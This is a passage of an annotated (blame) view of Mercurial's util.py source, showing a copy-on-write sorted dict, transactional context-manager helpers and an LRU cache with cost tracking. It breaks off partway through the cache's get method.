c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1141 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1142 >>> a = a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1143 >>> b is a |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1144 False |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1145 >>> a is a.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1146 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1147 >>> c = c.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1148 >>> b is c |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1149 False |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1150 >>> b is b.preparewrite() |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1151 True |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1152 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1153 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1154 class cowsortdict(cow, sortdict): |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1155 """copy-on-write sortdict |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1156 |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1157 Be sure to call d = d.preparewrite() before writing to d. |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1158 """ |
c41444a39de2
config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents:
34295
diff
changeset
|
1159 |
33793
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1160 class transactional(object): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1161 """Base class for making a transactional type into a context manager.""" |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1162 __metaclass__ = abc.ABCMeta |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1163 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1164 @abc.abstractmethod |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1165 def close(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1166 """Successfully closes the transaction.""" |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1167 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1168 @abc.abstractmethod |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1169 def release(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1170 """Marks the end of the transaction. |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1171 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1172 If the transaction has not been closed, it will be aborted. |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1173 """ |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1174 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1175 def __enter__(self): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1176 return self |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1177 |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1178 def __exit__(self, exc_type, exc_val, exc_tb): |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1179 try: |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1180 if exc_type is None: |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1181 self.close() |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1182 finally: |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1183 self.release() |
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
1184 |
33446
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1185 @contextlib.contextmanager |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1186 def acceptintervention(tr=None): |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1187 """A context manager that closes the transaction on InterventionRequired |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1188 |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1189 If no transaction was provided, this simply runs the body and returns |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1190 """ |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1191 if not tr: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1192 yield |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1193 return |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1194 try: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1195 yield |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1196 tr.close() |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1197 except error.InterventionRequired: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1198 tr.close() |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1199 raise |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1200 finally: |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1201 tr.release() |
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
1202 |
33619
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
1203 @contextlib.contextmanager |
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
1204 def nullcontextmanager(): |
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
1205 yield |
609606d21765
rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents:
33549
diff
changeset
|
1206 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1207 class _lrucachenode(object): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1208 """A node in a doubly linked list. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1209 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1210 Holds a reference to nodes on either side as well as a key-value |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1211 pair for the dictionary entry. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1212 """ |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1213 __slots__ = (u'next', u'prev', u'key', u'value', u'cost') |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1214 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1215 def __init__(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1216 self.next = None |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1217 self.prev = None |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1218 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1219 self.key = _notset |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1220 self.value = None |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1221 self.cost = 0 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1222 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1223 def markempty(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1224 """Mark the node as emptied.""" |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1225 self.key = _notset |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1226 self.value = None |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1227 self.cost = 0 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1228 |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1229 class lrucachedict(object): |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1230 """Dict that caches most recent accesses and sets. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1231 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1232 The dict consists of an actual backing dict - indexed by original |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1233 key - and a doubly linked circular list defining the order of entries in |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1234 the cache. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1235 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1236 The head node is the newest entry in the cache. If the cache is full, |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1237 we recycle head.prev and make it the new head. Cache accesses result in |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1238 the node being moved to before the existing head and being marked as the |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1239 new head node. |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1240 |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1241 Items in the cache can be inserted with an optional "cost" value. This is |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1242 simply an integer that is specified by the caller. The cache can be queried |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1243 for the total cost of all items presently in the cache. |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1244 |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1245 The cache can also define a maximum cost. If a cache insertion would |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1246 cause the total cost of the cache to go beyond the maximum cost limit, |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1247 nodes will be evicted to make room for the new code. This can be used |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1248 to e.g. set a max memory limit and associate an estimated bytes size |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1249 cost to each item in the cache. By default, no maximum cost is enforced. |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1250 """ |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1251 def __init__(self, max, maxcost=0): |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1252 self._cache = {} |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1253 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1254 self._head = head = _lrucachenode() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1255 head.prev = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1256 head.next = head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1257 self._size = 1 |
39564
5d75a3c16193
util: make capacity a public attribute on lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39563
diff
changeset
|
1258 self.capacity = max |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1259 self.totalcost = 0 |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1260 self.maxcost = maxcost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1261 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1262 def __len__(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1263 return len(self._cache) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1264 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1265 def __contains__(self, k): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1266 return k in self._cache |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1267 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1268 def __iter__(self): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1269 # We don't have to iterate in cache order, but why not. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1270 n = self._head |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1271 for i in range(len(self._cache)): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1272 yield n.key |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1273 n = n.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1274 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1275 def __getitem__(self, k): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1276 node = self._cache[k] |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1277 self._movetohead(node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1278 return node.value |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1279 |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1280 def insert(self, k, v, cost=0): |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1281 """Insert a new item in the cache with optional cost value.""" |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1282 node = self._cache.get(k) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1283 # Replace existing value and mark as newest. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1284 if node is not None: |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1285 self.totalcost -= node.cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1286 node.value = v |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1287 node.cost = cost |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1288 self.totalcost += cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1289 self._movetohead(node) |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1290 |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1291 if self.maxcost: |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1292 self._enforcecostlimit() |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1293 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1294 return |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1295 |
39564
5d75a3c16193
util: make capacity a public attribute on lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39563
diff
changeset
|
1296 if self._size < self.capacity: |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1297 node = self._addcapacity() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1298 else: |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1299 # Grab the last/oldest item. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1300 node = self._head.prev |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1301 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1302 # At capacity. Kill the old entry. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1303 if node.key is not _notset: |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1304 self.totalcost -= node.cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1305 del self._cache[node.key] |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1306 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1307 node.key = k |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1308 node.value = v |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1309 node.cost = cost |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1310 self.totalcost += cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1311 self._cache[k] = node |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1312 # And mark it as newest entry. No need to adjust order since it |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1313 # is already self._head.prev. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1314 self._head = node |
18603
2251b3184e6e
util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents:
18537
diff
changeset
|
1315 |
39568
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1316 if self.maxcost: |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1317 self._enforcecostlimit() |
842cd0bdda75
util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39567
diff
changeset
|
1318 |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1319 def __setitem__(self, k, v): |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1320 self.insert(k, v) |
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1321 |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1322 def __delitem__(self, k): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1323 node = self._cache.pop(k) |
39567
ee087f0d7db5
util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents:
39566
diff
changeset
|
1324 self.totalcost -= node.cost |
27371
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1325 node.markempty() |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1326 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1327 # Temporarily mark as newest item before re-adjusting head to make |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1328 # this node the oldest item. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1329 self._movetohead(node) |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1330 self._head = node.next |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1331 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1332 # Additional dict methods. |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1333 |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1334 def get(self, k, default=None): |
45d996a566d7
util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27363
diff
changeset
|
1335 try: |
39571
8f2c0d1b454c
util: update lrucachedict order during get()
